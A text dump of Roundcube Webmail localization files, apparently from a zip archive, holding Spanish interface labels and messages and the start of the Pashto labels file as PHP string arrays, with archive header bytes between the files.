$labels['listnamedisplay'] = 'Listar contactos como';
$labels['contactformmode'] = 'Modo de formulario de contacto';
$labels['privatemode'] = 'Privado (Casa)';
$labels['businessmode'] = 'Empresa (Trabajo)';
$labels['collectedaddresses'] = 'Direcciones recogidas';
$labels['collectedrecipients'] = 'Destinatarios recogidos';
$labels['collectedrecipientsopt'] = 'Almacena los destinatarios de correo electrónico de salida en';
$labels['collectedsendersopt'] = 'Almacena los remitentes de confianza en';
$labels['trustedsenders'] = 'Remitentes de confianza';
$labels['spellcheckbeforesend'] = 'Comprobar ortografía antes de enviar un mensaje';
$labels['spellcheckoptions'] = 'Opciones de Revisado de Ortografía';
$labels['spellcheckignoresyms'] = 'Ignorar palabras con símbolos';
$labels['spellcheckignorenums'] = 'Ignorar palabras con números';
$labels['spellcheckignorecaps'] = 'Ignorar palabras con todo mayúsculas';
$labels['addtodict'] = 'Añadir al diccionario';
$labels['mailtoprotohandler'] = 'Registrar controlador de protocolo para enlaces mailto:';
$labels['standardwindows'] = 'Gestionar ventanas emergentes como ventanas estándar';
$labels['forwardmode'] = 'Reenvío de mensajes';
$labels['inline'] = 'entre-línea';
$labels['asattachment'] = 'como adjunto';
$labels['replyallmode'] = 'Acción predeterminada del botón [Responder a todos]';
$labels['replyalldefault'] = 'responder a todos';
$labels['replyalllist'] = 'responder sólo a la lista de correo (si se encuentra)';
$labels['allmessages'] = 'todos los mensajes';
$labels['olderxdays'] = 'anterior a $x días';
$labels['folder'] = 'Bandeja';
$labels['folders'] = 'Carpetas';
$labels['foldername'] = 'Nombre de carpeta';
$labels['subscribed'] = 'Suscrito';
$labels['messagecount'] = 'Mensajes';
$labels['create'] = 'Crear';
$labels['createfolder'] = 'Crear nueva carpeta';
$labels['managefolders'] = 'Administrar carpetas';
$labels['specialfolders'] = 'Carpetas especiales';
$labels['properties'] = 'Propiedades';
$labels['folderproperties'] = 'Propiedades de carpeta';
$labels['parentfolder'] = 'Carpeta raíz';
$labels['location'] = 'Ubicación';
$labels['info'] = 'Información';
$labels['getfoldersize'] = 'Clic para saber el tamaño de la bandeja';
$labels['changesubscription'] = 'Haga clic para cambiar suscripción';
$labels['foldertype'] = 'Tipo de Carpeta';
$labels['personalfolder'] = 'Carpeta Privada';
$labels['otherfolder'] = 'Carpeta de Otro Usuario';
$labels['sharedfolder'] = 'Carpeta Pública';
$labels['findfolders'] = 'Encontrar carpetas';
$labels['findcontacts'] = 'Encontrar contactos';
$labels['findmail'] = 'Buscar mensajes de correo electrónico';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Otros usuarios';
$labels['namespace.shared'] = 'Compartido';
$labels['dualuselabel'] = 'Puede contener únicamente';
$labels['dualusemail'] = 'mensajes';
$labels['dualusefolder'] = 'carpetas';
$labels['generate'] = 'Generar';
$labels['encryptioncreatekey'] = 'Crear una nueva clave par';
$labels['openmailvelopesettings'] = 'Abrir ajustes de Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Tiene $nr claves privadas que coinciden almacenadas en su llavero Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Esta identidad de remitentes todavía no tiene una clave privada PGP almacenada en su extensión Mailvelope. ¿Quiere crear una para activar la mensajería encriptada?';
$labels['encryption'] = 'Cifrado';
$labels['mailvelopeoptions'] = 'Opciones de Mailvelope';
$labels['mailvelopemainkeyring'] = 'Usar el llavero de claves principal de Mailvelope';
$labels['mailvelopenotfound'] = 'La extensión Mailvelope no está habilitada/instalada en su navegador.';
$labels['sortby'] = 'Ordenar por';
$labels['sortasc'] = 'Orden ascendente';
$labels['sortdesc'] = 'Orden descendente';
$labels['undo'] = 'Deshacer';
$labels['installedplugins'] = 'Complementos instalados';
$labels['plugin'] = 'Complemento';
$labels['version'] = 'Versión';
$labels['source'] = 'Origen';
$labels['destination'] = 'Destino';
$labels['license'] = 'Licencia';
$labels['support'] = 'Obtener soporte';
$labels['savedsearches'] = 'Búsquedas guardadas';
$labels['dateformatY'] = 'AAAA';
$labels['dateformaty'] = 'AA';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglés';
$labels['westerneuropean'] = 'Europeo Occidental';
$labels['easterneuropean'] = 'Europeo Oriental';
$labels['southeasterneuropean'] = 'Europeo Sudoriental';
$labels['baltic'] = 'Báltico';
$labels['cyrillic'] = 'Cirílico';
$labels['arabic'] = 'Árabe';
$labels['greek'] = 'Griego';
$labels['hebrew'] = 'Hebreo';
$labels['turkish'] = 'Turco';
$labels['nordic'] = 'Nórdico';
$labels['thai'] = 'Tailandés';
$labels['celtic'] = 'Celta';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Japonés';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chino';
$labels['arialabeltopnav'] = 'Control de ventana';
$labels['arialabeltasknav'] = 'Tareas de la aplicación';
$labels['arialabeltoolbar'] = 'Barra de herramientas de la aplicación';
$labels['arialabellistnav'] = 'Navegación por listas';
$labels['arialabelactivetask'] = 'Tarea activa';
$labels['arialabelmessagessearchfilter'] = 'Filtro de listado de correo electrónico';
$labels['arialabelmailsearchform'] = 'Formulario de búsqueda de mensaje de correo electrónico';
$labels['arialabelcontactsearchform'] = 'Formulario de búsqueda de contactos';
$labels['arialabelmailquicksearchbox'] = 'Entrada de búsqueda de correo electrónico';
$labels['arialabelquicksearchbox'] = 'Entrada de búsqueda';
$labels['arialabelfoldersearchfilter'] = 'Filtro de listas de carpetas';
$labels['arialabelfoldersearchform'] = 'Formulario de búsqueda de carpeta';
$labels['arialabelfolderlist'] = 'Selección de carpeta de correo electrónico';
$labels['arialabelmessagelist'] = 'Listado de mensajes de correo electrónico';
$labels['arialabelmailpreviewframe'] = 'Previsualizar mensaje';
$labels['arialabelmailboxmenu'] = 'Menú de acciones de carpeta';
$labels['arialabellistselectmenu'] = 'Menú de selección de listado';
$labels['arialabelthreadselectmenu'] = 'Menú de listado de conversaciones';
$labels['arialabelmessagelistoptions'] = 'Opciones para mostrar y ordenar los mensajes';
$labels['arialabelmailimportdialog'] = 'Diálogo de importación de mensaje';
$labels['arialabelmessagenav'] = 'Navegación entre mensajes';
$labels['arialabelmessagebody'] = 'Cuerpo del mensaje';
$labels['arialabelmessageactions'] = 'Acciones del mensaje';
$labels['arialabelcontactquicksearch'] = 'Formulario de búsqueda de contactos';
$labels['arialabelcontactsearchbox'] = 'Entra de búsqueda de contacto';
$labels['arialabelmessageheaders'] = 'Encabezados del mensaje';
$labels['arialabelforwardingoptions'] = 'Opciones de reenvío';
$labels['arialabelreplyalloptions'] = 'Opciones de "Responder a todos"';
$labels['arialabelmoremessageactions'] = 'Más acciones de mensaje';
$labels['arialabelmorecontactactions'] = 'Más acciones de contacto';
$labels['arialabelmarkmessagesas'] = 'Marcar los mensajes seleccionados como…';
$labels['arialabelcomposeoptions'] = 'Opciones de composición';
$labels['arialabelresponsesmenu'] = 'Menú de respuestas enlatadas';
$labels['arialabelattachmentuploadform'] = 'Formulario de subida de adjunto';
$labels['arialabelattachmentmenu'] = 'Opciones de archivo adjunto';
$labels['arialabelmailtomenu'] = 'Opciones de dirección de correo electrónico';
$labels['arialabelattachmentpreview'] = 'Previsualizar adjunto';
$labels['ariasummarycomposecontacts'] = 'Lista de contactos y grupos para elegir como destinatarios';
$labels['arialabelcontactexportoptions'] = 'Opciones de exportación de contacto';
$labels['arialabelabookgroupoptions'] = 'Opciones de grupo de contactos de la agenda';
$labels['arialabelpreferencesform'] = 'Formulario de preferencias';
$labels['arialabelidentityeditfrom'] = 'Formulario de edición de identidad';
$labels['arialabelresponseeditfrom'] = 'Formulario de edición de respuesta';
$labels['arialabelsearchterms'] = 'Términos de búsqueda';
$labels['arialabeldropactionmenu'] = 'Menú de acciones de Arrastrar y Soltar';
$labels['arialabelheadersmenu'] = 'Menú para añadir el destinatario (cabecera)';
$labels['arialabelimagetools'] = 'Herramientas de imagen';
$labels['helplistnavigation'] = 'Listar la navegación por teclado';
$labels['helplistkeyboardnavigation'] = "Flechas arriba/abajo: Mover de fila el foco o selección.
Espacio: Seleccionar la fila enfocada.
Mayúscula + arriba/abajo: Seleccionar otra fila de arriba/abajo.
Control + Espacio: Añadir fila enfocada a la selección / quitar de la selección.";
$labels['helplistkeyboardnavmessages'] = "Flechas izquierda/derecha: expandir/recoger hilo de mensaje (sólo en modo hilo).
Retorno: Abrir el mensaje seleccionado/enfocado.
Borrar: Mover los mensajes seleccionado a la Papelera.";
$labels['helplistkeyboardnavcontacts'] = "Retorno: Abrir el contacto seleccionado";
PK
h�\Z*7XJXJ'program/localization/es_ES/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '¡Ha ocurrido un error!';
$messages['loginfailed']  = 'Contraseña o nombre de usuario incorrecto.';
$messages['cookiesdisabled'] = 'Su navegador no acepta cookies.';
$messages['sessionerror'] = 'Su sesión no es válida o ha expirado.';
$messages['cookiesmismatch'] = 'Se ha detectado una incoherencia en las cookies. Por favor, limpie las cookies de su navegador.';
$messages['storageerror'] = 'Error de conexión con el servidor IMAP.';
$messages['servererror'] = '¡Error del servidor!';
$messages['servererrormsg'] = 'Error de servidor: $msg';
$messages['accountlocked'] = 'Demasiados intentos de conexión fallidos. Inténtalo de nuevo más tarde.';
$messages['connerror'] = '¡Error de conexión (fallo al intentar alcanzar el servidor)!';
$messages['dberror'] = '¡Error de base de datos!';
$messages['dbconnerror'] = '¡No fue posible conectar con la base de datos!';
$messages['windowopenerror'] = 'iLa ventana emergente fue bloqueada!';
$messages['requesttimedout'] = 'Ha expirado el tiempo de respuesta';
$messages['errorreadonly'] = 'No se pudo realizar la operación. La carpeta es de sólo lectura.';
$messages['errornoperm'] = 'No se pudo realizar la operación. Permiso denegado.';
$messages['erroroverquota'] = 'No se pudo completar la operación. No hay espacio libre en el disco.';
$messages['erroroverquotadelete'] = 'No hay espacio libre en el disco. Use Shift+Supr para borrar un mensaje.';
$messages['invalidrequest'] = '¡Petición inválida! No se guardaron los datos.';
$messages['invalidhost'] = 'Nombre de servidor inválido.';
$messages['nomessagesfound'] = 'No se han encontrado mensajes en este buzón.';
$messages['loggedout'] = 'Ha terminado correctamente la sesión. ¡Hasta pronto!';
$messages['mailboxempty'] = 'El buzón está vacío';
$messages['nomessages'] = 'No hay mensajes';
$messages['refreshing'] = 'Actualizando…';
$messages['loading'] = 'Cargando...';
$messages['uploading'] = 'Cargando archivo...';
$messages['attaching'] = 'No se pudo adjuntar el archivo.';
$messages['uploadingmany'] = 'Cargando archivos…';
$messages['loadingdata'] = 'Cargando datos...';
$messages['checkingmail'] = 'Verificando si hay nuevos mensajes...';
$messages['sendingmessage'] = 'Enviando mensaje...';
$messages['messagesent'] = 'Mensaje enviado correctamente.';
$messages['savingmessage'] = 'Guardando mensaje...';
$messages['messagesaved'] = 'Mensaje guardado en Borradores.';
$messages['successfullysaved'] = 'Guardado correctamente.';
$messages['savingresponse'] = 'Guardando texto de respuesta...';
$messages['deleteresponseconfirm'] = '¿Realmente quiere eliminar este texto de respuesta?';
$messages['nocontactselected'] = 'No ha seleccionado ningún contacto aún.';
$messages['addedsuccessfully'] = 'Contacto añadido correctamente a la libreta de direcciones.';
$messages['contactexists'] = 'Ya existe un contacto con esta dirección de correo.';
$messages['contactnameexists'] = 'Ya existe un contacto con el mismo nombre.';
$messages['blockedimages'] = 'Para proteger su privacidad, las imágenes externas de este mensaje han sido bloqueadas.';
$messages['blockedresources'] = 'Para proteger su privacidad, los recursos remotos han sido bloqueados.';
$messages['suspiciousemail'] = 'Este mensaje contiene direcciones de correo electrónico sospechosas que pueden ser fraudulentas.';
$messages['bccemail'] = 'El o los mensaje(s) reenviados contienen destinatarios confidenciales (Bcc)';
$messages['bouncehint'] = 'El mensaje será enviado sin ninguna modificación, ej. usando el cuerpo original, encabezados y destinatarios.';
$messages['encryptedmessage'] = 'Este es un mensaje cifrado y no puede ser mostrado. ¡Lo sentimos!';
$messages['externalmessagedecryption'] = 'Este es un mensaje cifrado y se puede descifrar con una extensión de tu navegador.';
$messages['nopubkeyfor'] = 'No se ha encontrado una clave pública de $email';
$messages['nopubkeyforsender'] = 'No se ha encontrado una clave pública de tu identidad como emisor. ¿Quieres cifrar el mensaje sólo para los destinatarios?';
$messages['encryptnoattachments'] = 'Todavía no se pueden cifrar los adjuntos subidos. Por favor, añádelos luego en el editor de cifrado.';
$messages['searchpubkeyservers'] = '¿Quieres buscar servidores de clave pública para las claves que faltan?';
$messages['encryptpubkeysfound'] = 'Se han encontrado las siguientes claves públicas:';
$messages['keyservererror'] = 'No se ha podido obtener la clave del servidor de claves.';
$messages['keyimportsuccess'] = 'La clave pública $key se ha importado correctamente en tu llavero de claves.';
$messages['nocontactsfound'] = 'No se encontraron contactos.';
$messages['contactnotfound'] = 'El contacto solicitado no existe.';
$messages['contactsearchonly'] = 'Debes utilizar un formulario de búsqueda para ver los contactos de la libreta de direcciones seleccionada.';
$messages['sendingfailed'] = 'Error al enviar mensaje.';
$messages['senttooquickly'] = 'Por favor, espere $sec segundo(s) antes de enviar este mensaje.';
$messages['errorsavingsent'] = 'Ha ocurrido un error al guardar el mensaje enviado.';
$messages['errorsaving'] = 'Ha ocurrido un error al guardar.';
$messages['errormoving'] = 'No se pudo mover el/los mensaje(s).';
$messages['errorcopying'] = 'No se pudo copiar el/los mensaje(s).';
$messages['errordeleting'] = 'No se pudo eliminar el/los mensaje(s).';
$messages['errormarking'] = 'No se pudo marcar el/los mensaje(s).';
$messages['alerttitle'] = 'Atención';
$messages['confirmationtitle'] = 'Está seguro...';
$messages['deletecontactconfirm']  = '¿Realmente quiere eliminar los contactos seleccionados?';
$messages['deletegroupconfirm']  = '¿Realmente quiere borrar el grupo seleccionado?';
$messages['deletemessagesconfirm'] = '¿Realmente quiere eliminar los mensajes seleccionados?';
$messages['deletefolderconfirm']  = '¿Realmente quiere eliminar esta carpeta?';
$messages['movefolderconfirm']  = '¿Realmente quiere eliminar esta carpeta?';
$messages['purgefolderconfirm']  = '¿Realmente quiere eliminar todos los mensajes de esta carpeta?';
$messages['contactdeleting'] = 'Eliminando contacto(s)...';
$messages['groupdeleting'] = 'Eliminando grupo…';
$messages['folderdeleting'] = 'Eliminando carpeta...';
$messages['foldermoving'] = 'Moviendo carpeta...';
$messages['foldersubscribing'] = 'Suscribiendo carpeta...';
$messages['folderunsubscribing'] = 'Anulando suscripción a carpeta...';
$messages['formincomplete'] = 'No ha completado todos los campos del formulario.';
$messages['noemailwarning'] = 'Por favor, introduzca un correo electrónico válido.';
$messages['nonamewarning']  = 'Por favor, introduzca un nombre.';
$messages['nopagesizewarning'] = 'Por favor, introduzca un tamaño de página.';
$messages['nosenderwarning'] = 'Por favor, introduzca la dirección de correo del remitente.';
$messages['recipientsadded'] = 'Destinatario(s) añadido(s) con éxito.';
$messages['norecipientwarning'] = 'Por favor, introduzca al menos un destinatario.';
$messages['disclosedrecipwarning'] = 'Todos los receptores verán las direcciones de correo electrónico de cada uno. Para evitarlo y para proteger su privacidad puede utilizar el campo Cco';
$messages['disclosedreciptitle'] = 'Demasiados destinatarios';
$messages['nosubjectwarning']  = 'El campo "Asunto" está vacío. ¿Desea completarlo en este momento?';
$messages['nosubjecttitle']  = 'Sin asunto';
$messages['nobodywarning'] = '¿Desea enviar este mensaje sin texto?';
$messages['notsentwarning'] = 'El mensaje no se ha enviado y tiene cambios sin guardar. ¿Quieres descartar los cambios?';
$messages['restoresavedcomposedata'] = 'Se ha encontrado un mensaje previamente redactado sin enviar.\n\nAsunto: $subject\nGuardado: $date\n\n¿Desea restaurar este mensaje?';
$messages['nosearchname'] = 'Por favor, ingrese un nombre de contacto o dirección de correo electrónico.';
$messages['notuploadedwarning'] = 'No todos los adjuntos han sido cargados todavía. Por favor, espere o cancele la carga.';
$messages['searchsuccessful'] = 'Se encontraron $nr mensajes.';
$messages['contactsearchsuccessful'] = 'Encontrados $nr contactos.';
$messages['searchnomatch'] = 'No se obtuvieron resultados.';
$messages['searching'] = 'Buscando...';
$messages['checking'] = 'Revisando...';
$messages['stillsearching'] = 'Aún buscando...';
$messages['nospellerrors'] = 'No se encontraron errores ortográficos.';
$messages['folderdeleted'] = 'Carpeta eliminada correctamente.';
$messages['foldersubscribed'] = 'Suscrito a carpeta correctamente.';
$messages['folderunsubscribed'] = 'Suscripción a carpeta anulada correctamente.';
$messages['folderpurged'] = 'Carpeta vaciada exitosamente';
$messages['folderexpunged'] = 'Carpeta compactada exitosamente';
$messages['deletedsuccessfully'] = 'Eliminado correctamente.';
$messages['converting'] = 'Eliminando formato de mensaje...';
$messages['messageopenerror'] = 'No se pudo cargar el mensaje del servidor.';
$messages['filelinkerror'] = 'No se pudo adjuntar el archivo.';
$messages['fileuploaderror'] = 'Error al cargar archivos.';
$messages['csvfilemismatch'] = 'La importación de múltiples archivos CSV con diferentes campos no está soportada.';
$messages['filesizeerror'] = 'El archivo excede el tamaño máximo ($size).';
$messages['filecounterror'] = 'Puedes subir un máximo de $count archivos de cada vez.';
$messages['msgsizeerror'] = 'No se ha podido adjuntar un archivo. El tamaño máximo del mensaje ($size) se ha excedido.';
$messages['msgsizeerrorfwd'] = 'El tamaño máximo del mensaje ($size) se ha excedido. $num mensaje(s) no han sido adjuntados.';
$messages['copysuccess'] = '$nr contactos copiados correctamente.';
$messages['movesuccess'] = '$nr contactos movidos correctamente.';
$messages['copyerror'] = 'No se pudo copiar ningún contacto.';
$messages['moveerror'] = 'No se pudo mover ningún contacto.';
$messages['sourceisreadonly'] = 'Esta dirección origen es de sólo lectura.';
$messages['errorsavingcontact'] = 'No se pudo guardar la dirección de contacto.';
$messages['movingmessage'] = 'Moviendo mensaje(s)...';
$messages['copyingmessage'] = 'Copiando mensaje(s)...';
$messages['copyingcontact'] = 'Copiando contacto(s)…';
$messages['movingcontact'] = 'Moviendo contacto(s)...';
$messages['deletingmessage'] = 'Eliminando mensaje(s)...';
$messages['markingmessage'] = 'Marcando mensaje(s)...';
$messages['addingmember'] = 'Añadiendo contacto(s) al grupo…';
$messages['removingmember'] = 'Eliminando contacto(s) del grupo…';
$messages['receiptsent'] = 'La confirmación de lectura ha sido enviada correctamente.';
$messages['errorsendingreceipt'] = 'No se pudo enviar la confirmación de lectura.';
$messages['deleteidentityconfirm'] = '¿Realmente desea eliminar esta identidad?';
$messages['nodeletelastidentity'] = 'No se puede eliminar esta identidad puesto a que es la única.';
$messages['forbiddencharacter'] = 'El nombre de la carpeta contiene un carácter prohibido.';
$messages['selectimportfile'] = 'Por favor, seleccione un archivo para cargar.';
$messages['addresswriterror'] = 'La libreta de direcciones seleccionada no admite escritura.';
$messages['contactaddedtogroup'] = 'Se añadieron los contactos a este grupo correctamente.';
$messages['contactremovedfromgroup'] = 'Se eliminaron los contactos de este grupo correctamente.';
$messages['nogroupassignmentschanged'] = 'No hay cambios en la asignación de grupos.';
$messages['importwait'] = 'Importando, por favor espere...';
$messages['importformaterror'] = '¡La importación falló! El fichero enviado no es un fichero válido de importación de datos.';
$messages['importconfirm'] = '<b>Se han importado $inserted contactos correctamente</b>';
$messages['importconfirmskipped'] = '<b>Ignoradas $skipped entradas existentes</b>';
$messages['importmessagesuccess'] = '$nr mensajes importados correctamente';
$messages['importmessageerror'] = '¡La importación falló! El fichero enviado no es un fichero válido de mensaje o buzón de correo.';
$messages['opnotpermitted'] = '¡Operación no permitida!';
$messages['nofromaddress'] = 'Falta dirección electrónica en la identidad seleccionada.';
$messages['editorwarning'] = 'Al cambiar el tipo de editor puede ocasionar la pérdida de formato del texto. ¿Desea continuar?';
$messages['httpreceivedencrypterror'] = 'Ha ocurrido un error fatal de configuración. Contacte inmediatamente a su administrador. <b>Su mensaje no ha sido enviado.</b>';
$messages['smtpconnerror'] = 'Error SMTP ($code): Ha fallado la conexión al servidor.';
$messages['smtpautherror'] = 'Error SMTP ($code): Ha fallado la autenticación.';
$messages['smtpfromerror'] = 'Error SMTP ($code): No se pudo asignar el remitente "$from" ($msg).';
$messages['smtptoerror'] = 'Error SMTP ($code): No se pudo establecer destinatario "$to" ($msg).';
$messages['smtprecipientserror'] = 'Error SMTP: No es posible analizar la lista de destinatarios.';
$messages['smtputf8error'] = 'Error SMTP: El servidor no soporta Unicode en la dirección de correo electrónico.';
$messages['smtpsizeerror'] = 'Error SMTP: El tamaño de mensaje excede el límite del servidor ($limit)';
$messages['smtperror'] = 'Error SMTP: $msg';
$messages['emailformaterror'] = 'Dirección de correo incorrecta: $email';
$messages['toomanyrecipients'] = 'Demasiados destinatarios. Reduzca el número de destinatarios a $max.';
$messages['maxgroupmembersreached'] = 'El número de miembros del grupo excede el máximo de $max.';
$messages['internalerror'] = 'Ha ocurrido un error interno. Por favor, inténtelo de nuevo.';
$messages['contactdelerror'] = 'No se pudo eliminar el/los contacto(s).';
$messages['contactdeleted'] = 'Contacto(s) eliminado(s) correctamente.';
$messages['contactrestoreerror'] = 'No se pudo restaurar contacto(s) eliminado(s).';
$messages['contactrestored'] = 'Contacto(s) restaurado(s) correctamente.';
$messages['groupdeleted'] = 'Grupo eliminado correctamente.';
$messages['grouprenamed'] = 'Grupo renombrado correctamente.';
$messages['groupcreated'] = 'Grupo creado correctamente.';
$messages['savedsearchdeleted'] = 'La búsqueda guardada se ha eliminado correctamente.';
$messages['savedsearchdeleteerror'] = 'No se ha podido eliminar la búsqueda guardada.';
$messages['savedsearchcreated'] = 'Se ha guardado la búsqueda correctamente.';
$messages['savedsearchcreateerror'] = 'No se pudo guardar la búsqueda.';
$messages['messagedeleted'] = 'Mensaje(s) eliminado(s) correctamente.';
$messages['messagemoved'] = 'Mensaje(s) movido(s) correctamente.';
$messages['messagemovedtotrash'] = 'Los mensajes se han trasladado a la papelera.';
$messages['messagecopied'] = 'Mensaje(s) copiado(s) correctamente.';
$messages['messagemarked'] = 'Mensaje(s) marcado(s) correctamente.';
$messages['autocompletechars'] = 'Introduce al menos $min caracteres para autocompletar.';
$messages['autocompletemore'] = 'Se encontraron más coincidencias. Favor de ingresar más caracteres.';
$messages['namecannotbeempty'] = 'El nombre no puede estar vacío.';
$messages['nametoolong'] = 'El nombre es demasiado largo.';
$messages['namedotforbidden'] = 'El nombre de la carpeta no puede empezar con un punto';
$messages['folderupdated'] = 'Carpeta actualizada correctamente.';
$messages['foldercreated'] = 'Carpeta creada correctamente.';
$messages['invalidimageformat'] = 'No es un formato de imagen válido.';
$messages['mispellingsfound'] = 'Se han detectado errores ortográficos en el mensaje.';
$messages['parentnotwritable'] = 'No se pudo crear/mover la carpeta a la carpeta superior seleccionada. No tiene permisos de acceso.';
$messages['messagetoobig'] = 'Esta parte del mensaje es demasiado grande para ser procesado.';
$messages['attachmentvalidationerror'] = '¡ATENCIÓN! Este adjunto es sospechoso porque su tipo no coincide con el tipo declarado en el mensaje. Si no confía en su remitente, no debería abrirlo en su navegador porque podría tener contenido malicioso.<br/<br/> <em>Esperado: $expected; encontrado: $detected</em>';
$messages['noscriptwarning'] = 'Advertencia: ¡Este servicio de webmail necesita Javascript! Para poder usarlo habilite el soporte de Javascript en su navegador, por favor.';
$messages['messageissent'] = 'El mensaje se ha enviado, pero aún no se ha guardado. ¿Quieres guardarlo ahora?';
$messages['errnotfound'] = 'Archivo no encontrado';
$messages['errnotfoundexplain'] = '¡No se ha encontrado el recurso solicitado!';
$messages['errfailedrequest'] = 'Ha fallado la petición';
$messages['errauthorizationfailed'] = 'Ha fallado la autorización';
$messages['errunauthorizedexplain'] = '¡No se ha podido comprobar que usted esté autorizado a acceder a este servicio!';
$messages['errrequestcheckfailed'] = 'Ha fallado la solicitud de comprobación';
$messages['errcsrfprotectionexplain'] = "Por su seguridad, se ha protegido el acceso a este recurso contra CSRF.\nSi lee esto probablemente no ha cerrado la sesión antes de dejar la aplicación web.\n\nAhora hace falta interacción humana para continuar.";
$messages['errcontactserveradmin'] = 'Por favor, póngase en contacto con el administrador de su servidor.';
$messages['clicktoresumesession'] = 'Haga clic aquí para reanudar la sesión anterior';
$messages['errcomposesession'] = 'Error de sesión de escritura';
$messages['errcomposesessionexplain'] = 'No se ha encontrado la sesión de escritura requerida.';
$messages['clicktocompose'] = 'Hacer clic aquí para escribir un nuevo mensaje';
$messages['nosupporterror'] = 'Esta función no está soportada por el navegador.';
$messages['siginserted'] = 'Firma insertada correctamente.';
$messages['responseinserted'] = 'Respuesta insertada correctamente.';
$messages['noresponsesavailable'] = 'No hay respuestas disponibles';
$messages['listempty'] = 'La lista está vacía.';
$messages['listusebutton'] = 'Use el botón Crear para añadir un nuevo registro.';
$messages['keypaircreatesuccess'] = 'Un nuevo par de claves ha sido creada con éxito para $identity.';
$messages['emptyattachment'] = 'Parece que este archivo adjunto está vacío. <br>Por favor, consulta a la persona que lo envió.';
$messages['oauthloginfailed'] = 'Ha fallado el inicio de sesión OAuth. Por favor, vuelva a intentarlo.';
PK
h�\���j�0�0"program/localization/ps/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product ته ښه راغلاست';
$labels['username'] = 'کارن نوم';
$labels['password'] = 'پټنوم';
$labels['server'] = 'برابرونکی';
$labels['login'] = 'ننوتون';
$labels['logout'] = 'وتون';
$labels['mail'] = 'برېښناليک';
$labels['settings'] = 'ځاني برابرونې';
$labels['addressbook'] = 'پتې کتاب';
$labels['inbox'] = 'راغلي ليکونه';
$labels['drafts'] = 'بارليک';
$labels['sent'] = 'لېږل شوي ليکونه';
$labels['trash'] = 'کثافت دانۍ';
$labels['junk'] = 'جنک';
$labels['subject'] = 'مضمون';
$labels['from'] = 'استوونکی';
$labels['to'] = 'ترلاسه کوونکی';
$labels['cc'] = 'لمېسل';
$labels['bcc'] = 'پټليکی';
$labels['replyto'] = 'ځوابول';
$labels['date'] = 'نېټه';
$labels['size'] = 'کچه';
$labels['priority'] = 'لومړيتوب';
$labels['organization'] = 'ټولنه';
$labels['mailboxlist'] = 'پوښۍ';
$labels['messagesfromto'] = 'له ټاکلي استوزو څخه ټاکلي شمېرل شوو استوزو ته';
$labels['messagenrof'] = 'له $nr ځخه استوزو $count استوزو ته';
$labels['copy'] = 'لمېسل';
$labels['moveto'] = 'ته خوځوي';
$labels['download'] = 'ښکته کول';
$labels['filename'] = 'فايل نوم';
$labels['filesize'] = 'فايل کچه';
$labels['addtoaddressbook'] = 'د پتو کتاب ته يې ورزيات کړئ';
$labels['sun'] = 'يوه نۍ';
$labels['mon'] = 'دوه نۍ';
$labels['tue'] = 'درې نۍ';
$labels['wed'] = 'څلورنۍ';
$labels['thu'] = 'پنځنۍ';
$labels['fri'] = 'جمعه';
$labels['sat'] = 'نۍ';
$labels['sunday'] = 'يوه نۍ';
$labels['monday'] = 'دوه نۍ';
$labels['tuesday'] = 'درې نۍ';
$labels['wednesday'] = 'منځنۍ';
$labels['thursday'] = 'پنځنۍ';
$labels['friday'] = 'جمعه';
$labels['saturday'] = 'نۍ';
$labels['jan'] = 'حنوري';
$labels['feb'] = 'فبروري';
$labels['mar'] = 'مارچ';
$labels['apr'] = 'اپريل';
$labels['may'] = 'مئ';
$labels['jun'] = 'جون';
$labels['jul'] = 'جولاي';
$labels['aug'] = 'اګست';
$labels['sep'] = 'سپتمپر';
$labels['oct'] = 'اکتوبر';
$labels['nov'] = 'نومبر';
$labels['dec'] = 'ډسمبر';
$labels['longjan'] = 'جنوري';
$labels['longfeb'] = 'فبروري';
$labels['longmar'] = 'مارچ';
$labels['longapr'] = 'اپريل';
$labels['longmay'] = 'مئ';
$labels['longjun'] = 'جون';
$labels['longjul'] = 'جولای';
$labels['longaug'] = 'اګست';
$labels['longsep'] = 'سپتمبر';
$labels['longoct'] = 'اکتوبر';
$labels['longnov'] = 'نومبر';
$labels['longdec'] = 'ډسمبر';
$labels['today'] = 'نن';
$labels['checkmail'] = 'نوي استوزي وګوره';
$labels['compose'] = 'استوزه وليکه';
$labels['writenewmessage'] = 'نوي استوزي جوړول';
$labels['replytomessage'] = 'استوونکي ته ځواب ورکړئ';
$labels['replytoallmessage'] = 'استوونکي او ټولو ترلاسه کوونکو ته ځواب لېږل';
$labels['forwardmessage'] = 'استوزه بل ته استول';
$labels['deletemessage'] = 'استوزه ړنګول';
$labels['movemessagetotrash'] = 'استوزه کثافت داني ته واستوه';
$labels['printmessage'] = 'دا استوزه چاپ کړه';
$labels['previousmessage'] = 'پخوانۍ استوزه وښيه';
$labels['firstmessage'] = 'لومړی استوزه وښيه';
$labels['nextmessage'] = 'ورپسې استوزه وښيه';
$labels['lastmessage'] = 'پای /آخري استوزه وښيه';
$labels['backtolist'] = 'بيرته د استوزو لست ته';
$labels['viewsource'] = 'سرچينه وښيه';
$labels['markmessages'] = 'استوزي په نښه کړئ';
$labels['markread'] = 'لوستل شوي په توګه';
